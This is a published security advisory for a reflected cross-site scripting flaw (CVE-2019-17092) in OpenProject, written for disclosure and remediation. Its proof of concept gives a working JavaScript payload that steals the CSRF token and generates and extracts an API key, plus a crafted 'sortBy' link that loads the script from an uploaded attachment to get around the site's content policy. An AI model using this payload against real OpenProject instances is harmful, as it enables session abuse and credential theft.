OpenProject 10.0.1 / 9.0.3 Cross Site Scripting

2019.10.15
Credit: David Haintz
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

SEC Consult Vulnerability Lab Security Advisory < 20191014-0 > ======================================================================= title: Reflected XSS vulnerability product: OpenProject vulnerable version: <= 9.0.3, <=10.0.1 fixed version: 9.0.4, 10.0.2 CVE number: CVE-2019-17092 impact: medium homepage: https://www.openproject.org found: 2019-09-27 by: David Haintz (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "OpenProject is the leading open source project management software. Support your project management process along the entire project life cycle: From project initiation to closure." Source: https://www.openproject.org/ Business recommendation: ------------------------ Update to the latest version of OpenProject. An in-depth security analysis performed by security professionals is highly advised, as the software may be affected from further security issues. Vulnerability overview/description: ----------------------------------- 1) Reflected XSS vulnerability (CVE-2019-17092) The project list of OpenProject lacks input validation on data that is output inside an error message. Due to the Content Security Policy inline scripts/styles weren't allowed and the script source was limited to 'self'. To bypass this a JavaScript file was added as attachment to an existing project. This could be used to extract the CSRF token and create a new API key. Proof of concept: ----------------- 1) Reflected XSS vulnerability (CVE-2019-17092) Within this proof of concept, two steps are done. First the JavaScript code to be executed is uploaded as an attachment to fulfill the Content Security Policy of 'self'. In the second step the uploaded JavaScript code is executed through the reflected XSS vulnerability by using a script-tag. a) Upload JavaScript code An attacker can upload a JavaScript file as attachment into any project in the default configuration. The attachment can be called directly, but will be downloaded automatically. But since the browser doesn't care if a file shall be downloaded or displayed when loading it from an src-property, an attacker can easily use it for the reflected XSS vulnerability. In this proof of concept the following JavaScript code was uploaded: (async () => { var csrf_param = document.querySelector('meta[name=csrf-param]').content; var csrf_token = document.querySelector('meta[name=csrf-token]').content; var req = await fetch("http://$IP/my/generate_api_key", { "credentials": "include", "headers": { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "de,en-US;q=0.7,en;q=0.3", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1" }, "referrer": "http://$IP/my/access_token", "body": "_method=post&" + csrf_param + "=" + encodeURI(csrf_token), "method": "POST", "mode": "cors" }); var resp = await req.text(); var regex = /(Your access token is:\<br \/\>\<strong\>)(.*)(\<\/strong\>)/gm; var api_key = resp.match(regex)[0]; api_key = api_key.slice(35, -9); alert("Generated new API key: " + api_key); })(); This gets the CSRF token and the parameter name (since this seems to be configurable) and sends a request to the generate_api_key functionality. After parsing, the key is exposed in a message box, but can be used for further operations like adding an administrative user. b) Craft link The reflected XSS vulnerability was found in the URL parameter 'sortBy' of the path '/projects'. There an attacker may add any HTML code. Such a link could be: http://$IP/projects?sortBy=[[%22%3E%3Cscript%20src=%27/attachments/29/test.js%27%3E%3C%2Fscript%3E%22%2C%22%22]] Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 10.0.0 * 10.0.1 According to the vendor, all versions before v9.0.3 and v10.0.1 are affected. Vendor contact timeline: ------------------------ 2019-10-02: Contacting vendor through security@openproject.com 2019-10-02: Vendor verified the vulnerability and released the fix 2019-10-08: Verified fixed vulnerability 2019-10-08: Vendor announced that they will publish the CVE and full advisory 2019-10-14: Release of security advisory. Solution: --------- The vendor provides an updated version (v10.0.2 and v9.0.4) which should be installed immediately. Release notes of the vendor: https://www.openproject.org/release-notes/openproject-9-0-4/ https://www.openproject.org/release-notes/openproject-10-0-2/ Workaround: ----------- There is no workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF D. Haintz / @2019


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